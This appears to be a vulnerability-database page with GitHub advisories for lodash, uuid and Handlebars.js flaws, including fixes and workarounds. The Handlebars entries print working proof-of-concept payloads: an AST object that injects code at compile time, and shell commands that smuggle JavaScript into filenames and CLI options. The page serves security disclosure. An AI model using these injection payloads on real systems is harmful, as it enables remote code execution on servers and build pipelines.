"CVE-2026-4800"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:51:12Z",
"nvd_published_at": "2026-03-31T20:16:29Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink.\n\nWhen an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.\n\nAdditionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`.\n\n### Patches\n\nUsers should upgrade to version 4.18.0.\n\nThe fix applies two changes:\n1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option)\n2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated\n\n### Workarounds\n\nDo not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.",
"id": "GHSA-r5fr-rjxr-66jc",
"modified": "2026-04-01T23:51:12Z",
"published": "2026-04-01T23:51:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
},
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm"
},
{
"type": "PACKAGE",
"url": "https://github.com/lodash/lodash"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "lodash vulnerable to Code Injection via `_.template` imports key names"
}
GHSA-W5HQ-G745-H8PQ
Vulnerability from github – Published: 2026-04-22 20:53 – Updated: 2026-05-21 18:25Summary
The v3(), v5(), and v6() API methods (not uuid release versions) accept external output buffers but do not reject out-of-range writes (small buf or large offset).
By contrast, v4(), v1(), and v7() API methods explicitly throw RangeError on invalid bounds.
This inconsistency allows silent partial writes into caller-provided buffers.
Affected code
src/v35.ts(v3()/v5()path) writesbuf[offset + i]without bounds validation.src/v6.tswritesbuf[offset + i]without bounds validation.
Reproducible PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4()',()=>v4({},new Uint8Array(8),4)],
['v5()',()=>v5('x',ns,new Uint8Array(8),4)],
['v6()',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Observed:
v4() THREW RangeErrorv5() NO_THROWv6() NO_THROW
Example partial overwrite evidence captured during audit:
same true buf [
170, 170, 170, 170,
75, 224, 100, 63
]
v6 [
187, 187, 187, 187,
31, 19, 185, 64
]
Security impact
- Primary: integrity/robustness issue (silent partial output).
- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.
- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.
Suggested fix
Add the same guard used by v4()/v1()/v7():
if (offset < 0 || offset + 16 > buf.length) {
throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
}
Apply to:
src/v35.ts(coversv3()andv5())src/v6.ts
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "uuid"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "11.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "uuid"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "uuid"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41907"
],
"database_specific": {
"cwe_ids": [
"CWE-1285",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T20:53:24Z",
"nvd_published_at": "2026-04-24T19:17:14Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). \nBy contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds.\n\nThis inconsistency allows **silent partial writes** into caller-provided buffers.\n\n\n### Affected code\n\n- `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation.\n- `src/v6.ts` writes `buf[offset + i]` without bounds validation.\n\n### Reproducible PoC\n\n```bash\ncd /home/StrawHat/uuid\nnpm ci\nnpm run build\n\nnode --input-type=module -e \"\nimport {v4,v5,v6} from \u0027./dist-node/index.js\u0027;\nconst ns=\u00276ba7b810-9dad-11d1-80b4-00c04fd430c8\u0027;\nfor (const [name,fn] of [\n [\u0027v4()\u0027,()=\u003ev4({},new Uint8Array(8),4)],\n [\u0027v5()\u0027,()=\u003ev5(\u0027x\u0027,ns,new Uint8Array(8),4)],\n [\u0027v6()\u0027,()=\u003ev6({},new Uint8Array(8),4)],\n]) {\n try { fn(); console.log(name,\u0027NO_THROW\u0027); }\n catch(e){ console.log(name,\u0027THREW\u0027,e.name); }\n}\"\n```\n\nObserved:\n\n- `v4() THREW RangeError`\n- `v5() NO_THROW`\n- `v6() NO_THROW`\n\nExample partial overwrite evidence captured during audit:\n\n```text\nsame true buf [\n 170, 170, 170, 170,\n 75, 224, 100, 63\n]\nv6 [\n 187, 187, 187, 187,\n 31, 19, 185, 64\n]\n```\n\n### Security impact\n\n- **Primary**: integrity/robustness issue (silent partial output).\n- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.\n- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.\n\n### Suggested fix\n\nAdd the same guard used by `v4()`/`v1()`/`v7()`:\n\n```ts\nif (offset \u003c 0 || offset + 16 \u003e buf.length) {\n throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);\n}\n```\n\nApply to:\n\n- `src/v35.ts` (covers `v3()` and `v5()`)\n- `src/v6.ts`",
"id": "GHSA-w5hq-g745-h8pq",
"modified": "2026-05-21T18:25:56Z",
"published": "2026-04-22T20:53:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41907"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a"
},
{
"type": "PACKAGE",
"url": "https://github.com/uuidjs/uuid"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/releases/tag/v11.1.1"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/releases/tag/v12.0.1"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/releases/tag/v13.0.1"
},
{
"type": "WEB",
"url": "https://github.com/uuidjs/uuid/releases/tag/v14.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided"
}
GHSA-XHPV-HC6G-R9C6
Vulnerability from github – Published: 2026-03-27 18:21 – Updated: 2026-03-30 20:08Summary
A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.
Description
The vulnerable code path spans two functions in lib/handlebars/runtime.js:
resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.
invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.
Minimum prerequisites:
1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent.
2. The adversary can set the value of the looked-up context property to a crafted object.
In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.
Proof of Concept
const Handlebars = require('handlebars');
const vulnerableTemplate = `{{> (lookup . "payload")}}`;
const maliciousContext = {
payload: {
call: true, // bypasses the primary resolvePartial branch
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Injected code breaks out of the generated function's argument list
depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Withoutcompile(), the fallback compilation path ininvokePartialis unreachable. - Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
- Avoid dynamic partial lookups (
{{> (lookup ...)}}) when context data is user-controlled.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33940"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:21:44Z",
"nvd_published_at": "2026-03-27T22:16:21Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{\u003e (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\nconst vulnerableTemplate = `{{\u003e (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n payload: {\n call: true, // bypasses the primary resolvePartial branch\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Injected code breaks out of the generated function\u0027s argument list\n depth: \"0])),function () {console.error(\u0027VULNERABLE: object -\u003e dynamic partial -\u003e RCE\u0027);}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -\u003e dynamic partial -\u003e RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). Without `compile()`, the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{\u003e (lookup ...)}}`) when context data is user-controlled.",
"id": "GHSA-xhpv-hc6g-r9c6",
"modified": "2026-03-30T20:08:33Z",
"published": "2026-03-27T18:21:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33940"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial"
}
GHSA-XJPJ-3MR7-GCPF
Vulnerability from github – Published: 2026-03-27 18:22 – Updated: 2026-03-30 20:08Summary
The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.
Description
lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:
1. Template name injection
// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';
template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.
2. Namespace injection (-n / --namespace)
// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';
opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.
3. CommonJS path injection (-c / --commonjs)
// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';
opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.
4. AMD path injection (-h / --handlebarPath)
// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";
opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.
All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.
Proof of Concept
Template name vector (creates a file pwned on disk):
mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"
node bin/handlebars templates -o out.js
node -e 'require("./out.js")' # Executes injected code, creates ./pwned
Namespace vector:
node bin/handlebars templates -o out.js \
-n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'
CommonJS vector:
node bin/handlebars templates -o out.js \
-c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'
AMD vector:
node bin/handlebars templates -o out.js -a \
-h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'
Workarounds
- Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (
",',;, etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
- Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
- Audit template filenames in any repository or package that is consumed by an automated build pipeline.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33941"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:22:10Z",
"nvd_published_at": "2026-03-27T22:16:21Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings \u2014 template file names and several CLI options \u2014 directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027templates[\"\u0027 + template.name + \u0027\"] = template(...)\u0027;\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `\u0027];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var templates = \u0027 + opts.namespace + \u0027 = \u0027 + opts.namespace + \u0027 || {};\u0027;\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += \u0027var Handlebars = require(\"\u0027 + opts.commonjs + \u0027\");\u0027;\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define([\u0027\" + opts.handlebarPath + \"handlebars.runtime\u0027], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `\u0027` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf \u0027Hello\u0027 \u003e \"templates/evil\u0027] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e \u0027require(\"./out.js\")\u0027 # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -n \"App.ns; require(\u0027fs\u0027).writeFileSync(\u0027pwned2\u0027,\u00271\u0027); //\"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n -c \u0027handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //\u0027\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n -h \"\u0027); require(\u0027fs\u0027).writeFileSync(\u0027pwned4\u0027,\u00271\u0027); // \"\nnode -e \u0027require(\"./out.js\")\u0027\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`\"`, `\u0027`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.",
"id": "GHSA-xjpj-3mr7-gcpf",
"modified": "2026-03-30T20:08:52Z",
"published": "2026-03-27T18:22:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33941"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.